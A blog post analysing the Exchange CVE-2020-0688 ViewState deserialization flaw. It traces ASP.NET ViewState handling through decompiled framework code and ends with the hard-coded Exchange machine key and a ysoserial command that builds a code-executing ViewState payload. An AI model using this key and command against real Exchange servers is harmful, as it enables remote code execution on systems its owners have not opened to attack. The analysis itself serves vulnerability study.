Exchange CVE-2020-0688 Code Execution Vulnerability Analysis

Posted by geebo on Tue, 04 Jan 2022 07:04:33 +0100

Exchange CVE-2020-0688 Code Execution Vulnerability Analysis

preface

Learn about exchange vulnerability records

ViewState deserialization utilization

ViewState overview

The ViewState mechanism is ASP Net, a mechanism to maintain the state of Page and control between multiple requests for the same Page (PostBack). In WebForm, the Page object will be released after each request. How to maintain the status information between multiple requests of the same Page? In WebForm, there is an interaction between the client and the server for each request. If some information is sent back to the client after the request is completed, the client will submit these status information to the server when the next request is made. The server will use and process these information, and then send these information back to the client. In this way, you can maintain the state between multiple requests (postbacks) for the same Page. Yes, this is the basic working mode of ViewState. ViewState is mainly designed to persist the necessary information in the Page. In this way, the state value is saved in the process of Page return through ViewState, so that the Http protocol without "memory" becomes "memory".

ViewState parsing process

ViewState is just a mechanism in ASP.NET Net uses ObjectStateFormatter for serialization and deserialization when generating and parsing viewstates. Although encryption and signature are performed after serialization, once the algorithm and key used for encryption and signature are leaked, we can disguise the deserialization payload of ObjectStateFormatter as a normal ViewState, And triggers a deserialization vulnerability in ObjectStateFormatter.

View client html source code

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTIxMDE4NjY2OWRktaI958qvyTatsn1o2A0eJUnsN04=" />

This is the form of ViewState saved in the client. It is saved in a file with ID__ In the Hidden of ViewState, its Value is a Base64 encoded string. This string is actually the result of serialization of an object (Pair type). This object holds the ViewState of the control tree of the entire page. You can decrypt this string of encrypted content with the decoding tool.

Resolved to a Pair object

That is, this string of data is the serialized data encoded by base64.

On the server side, there are three classes closely related to the ViewState mechanism: Page, Control and StateBag.

Page inherits from control. Control and StateBag are aggregate relationships. In control, there is an instance of StateBag, VIEWSTATE. The three classes cooperate with each other to complete the VIEWSTATE mechanism. The general process is as follows. Page processes the client request. In the process of processing, the client submits the request first_ VIEWSTATE is deserialized as an object, and the relevant methods of control are called to load data for all controls. These data are the state data of the control after the last request. These status data may be modified in subsequent events. Before calling the end, the related methods of Control are called to get the modified state data of all controls. After that, Page serializer it and return it to the client. In control, the method of StateBag class is called to load and save the state data.

Page life cycle, as shown in the figure

The whole page will go to page Processrequestmain() method

private void ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint)
		{
			try
			{
				HttpContext context = this.Context;
				string text = null;
				if (includeStagesBeforeAsyncPoint)
				{
					if (this.IsInAspCompatMode)
					{
						AspCompatApplicationStep.OnPageStartSessionObjects();
					}
					if (this.PageAdapter != null)
					{
						this._requestValueCollection = this.PageAdapter.DeterminePostBackMode();
					}
					else
					{
						this._requestValueCollection = this.DeterminePostBackMode();
					}
					string text2 = string.Empty;
					if (this.DetermineIsExportingWebPart())
					{
                  ......//Omit code
					this.InitRecursive(null);
					if (EtwTrace.IsTraceEnabled(5, 4))
					{
						EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_INIT_LEAVE, this._context.WorkerRequest);
					}
					if (context.TraceIsEnabled)
					{
						this.Trace.Write("aspx.page", "End Init");
					}
					if (context.TraceIsEnabled)
					{
						this.Trace.Write("aspx.page", "Begin InitComplete");
					}
					this.OnInitComplete(EventArgs.Empty);
					if (context.TraceIsEnabled)
					{
						this.Trace.Write("aspx.page", "End InitComplete");
					}
					if (this.IsPostBack)
					{
						if (context.TraceIsEnabled)
						{
							this.Trace.Write("aspx.page", "Begin LoadState");
						}
						if (EtwTrace.IsTraceEnabled(5, 4))
						{
							EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_ENTER, this._context.WorkerRequest);
						}
						this.LoadAllState();
						if (EtwTrace.IsTraceEnabled(5, 4))
						{
							EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_LEAVE, this._context.WorkerRequest);
						}
						......//Omit code
						this.SaveAllState();
                    
                        ......//Omit code

InitRecursive

The initialization phase calls control Initrecursive, which recursively initializes all controls. Then call the InitRecursive method.

System.Web.UI.Control#InitRecursive ->System.Web.UI.Control#InitRecursive

Tracking code

Judgment passed on_ Whether the viewstate is empty, not for air conditioning, this_ viewState. TrackViewState();

TrackViewState method code

internal void TrackViewState()
		{
			this.marked = true;
		}

Set the value to true.

The code function of TrackViewState method is to turn on the TrackViewState switch in.

LoadAllState

Continue to call LoadAllState in Page to track and view

LoadAllState is executed only when PostBack is, that is, it is a mark to record whether it is loaded for the first time.

Its main function is to pass information from the Page__ The value of ViewState is deserialized into an object of type Pair, and then the value of ViewState stored in this object is loaded into Page and all controls. In fact, LoadAllState loads ControlState and ViewState.

That is, this part implements the deserialization operation.

SaveAllState

SaveAllState does the opposite of LoadAllState.

Set control The object generated by saveviewstaterecursive is serialized into a string and assigned to page Clientstate property

Finally, the value in the ClientState attribute is written to the end of the HTML page_ In VIEWSTATE.

This section implements serialization and writes the serialized content to the HTML page.

Deserialization process analysis

Trace code LoadAllState

private void LoadAllState()
		{
			object obj = this.LoadPageStateFromPersistenceMedium();
			IDictionary dictionary = null;
			Pair pair = null;
			Pair pair2 = obj as Pair;
			if (obj != null)
			{
				dictionary = (pair2.First as IDictionary);
				pair = (pair2.Second as Pair);
			}
			... 
protected internal virtual object LoadPageStateFromPersistenceMedium()
		{
			PageStatePersister pageStatePersister = this.PageStatePersister;
			try
			{
				pageStatePersister.Load();
			}
			catch (HttpException ex)
			{
				...
				}

HiddenFieldPageStatePersister.Load

public override void Load()
		{
			if (base.Page.RequestValueCollection == null)
			{
				return;
			}
			string text = null;
			try
			{
				text = base.Page.RequestViewStateString;
				if (!string.IsNullOrEmpty(text) || !string.IsNullOrEmpty(base.Page.ViewStateUserKey))
				{
					Pair pair = (Pair)Util.DeserializeWithAssert(base.StateFormatter2, text, Purpose.WebForms_HiddenFieldPageStatePersister_ClientState);
					base.ViewState = pair.First;
					base.ControlState = pair.Second;
				}
			}
			catch (Exception ex)
			{
				if (ex.InnerException is ViewStateException)
				{
					throw;
				}
				ViewStateException.ThrowViewStateError(ex, text);
			}
		}

Util.DeserializeWithAssert

At this point, the process goes to objectstateformatter Deserialize() in the deserialization method.

Decode the string into a byte stream by Base64. If decryption is required, decrypt it. Otherwise, Mac processing is required. Convert the byte stream into a memory stream, deserialize it, and return the Pair object

private object Deserialize(string inputString, Purpose purpose)
		 ...
			byte[] array = Convert.FromBase64String(inputString);
			int num = array.Length;
			try
			{
				if (AspNetCryptoServiceProvider.Instance.IsDefaultProvider && !this._forceLegacyCryptography)
				{
					if (this._page != null && (this._page.ContainsEncryptedViewState || this._page.EnableViewStateMac))
					{
						Purpose purpose2 = purpose.AppendSpecificPurposes(this.GetSpecificPurposes());
						ICryptoService cryptoService = AspNetCryptoServiceProvider.Instance.GetCryptoService(purpose2, CryptoServiceOptions.None);
						byte[] array2 = cryptoService.Unprotect(array);
						array = array2;
						num = array2.Length;
					}
				}
				else if (this._page != null && this._page.ContainsEncryptedViewState)
				{
					array = MachineKeySection.EncryptOrDecryptData(false, array, this.GetMacKeyModifier(), 0, num);
					num = array.Length;
				}
				else if ((this._page != null && this._page.EnableViewStateMac) || this._macKeyBytes != null)
				{
					array = MachineKeySection.GetDecodedData(array, this.GetMacKeyModifier(), 0, num, ref num);
				}
			}

In ASP net2. 0 implements the abstract class PageStatePersister. The class that specifically provides the persistence mechanism is HiddenFieldPageStatePersister. It implements the Load and Save methods. When loading, the__ VIEWSTATE is deserialized into a Pair object. When saving, the Pair object is serialized into a string and assigned to page ClientState. The formatter used in HiddenFieldPageStatePersister is ObjectStateFormatter. In fact, there are two methods: string Serialize(object state) and object Deserialize(string serializedState), so as to realize the serialization and deserialization of Pair objects.

The whole process above is to judge whether it is in the PostBack state in ProcessRequestMain. If so, it will be obtained__ VIEWSTATE, call LoadAllState method for deserialization.

web.config configure ViewState

ViewState uses ObjectStateFormatter for deserialization, and ViewState takes security measures of encryption and signature. However, if the encryption key is leaked, the encrypted data can still be disguised for attack.

Enableview state: used to set whether to open viewState

Enableview statemac: used to set whether the ViewState Mac function is enabled. Before 4.5.2, this option was false, which can disable the Mac verification function. However, after 4.5.2, the ViewState Mac verification function is forced to be enabled

viewStateEncryptionMode: used to set whether the viewstate encryption function is enabled. There are three options for the value of this option: Always, Auto, Never.

  • Always indicates that the ViewState is always encrypted;
  • Auto means that if the control requests encryption by calling the RegisterRequiresViewStateEncryption() method, the view state information will be encrypted, which is the default value;
  • Never means that even if the control requests view state information, it will never be encrypted.
<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />

validationKey and decryptionKey are the keys used for verification and encryption respectively. validation and decryption are the algorithms used for verification and encryption (which can be omitted and the default algorithm is adopted). The verification algorithms include SHA1, MD5, 3DES, AE, HMACSHA256, HMACSHA384 and HMACSHA512. Encryption algorithms include DES, 3DES and AES. Due to web Config is saved on the server, which ensures the security of ViewState without disclosing the machineKey.

Exchange vulnerability analysis

VIEWSTATE is used in the exchange ecp routing interface

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTIxMDE4NjY2OWRktaI958qvyTatsn1o2A0eJUnsN04=" />

And web The encrypted key in config is hard coded

Key forgery can be used to attack encrypted data.

Generate data using yso

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="aa29629a-fdaf-4268-a3c0-3c9f7bc97703" --isdebug –-islegacy
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(Default, cause of vulnerability)

--validationalg = SHA1(Default, cause of vulnerability)

--generator=B97B4E27(Basic (default)

--viewstateuserkey = ASP.NET_SessionId Value of

url encoding is required after data generation

from urllib.parse import quote

input_str ="payload"

quote(input_str,"utf-8")

reference resources

net - deserialization - viewstate - Utilization

ViewState mechanism from shallow to deep

Weaponization and of CVE-2020-0688 net deserialization vulnerability

cve-2020-0688-Exchange-remote code execution analysis and replication

ending

This space lacks some details, such as encryption steps in the processing flow net code ability is poor. I'll come back to analyze the details later.

Topics: .NET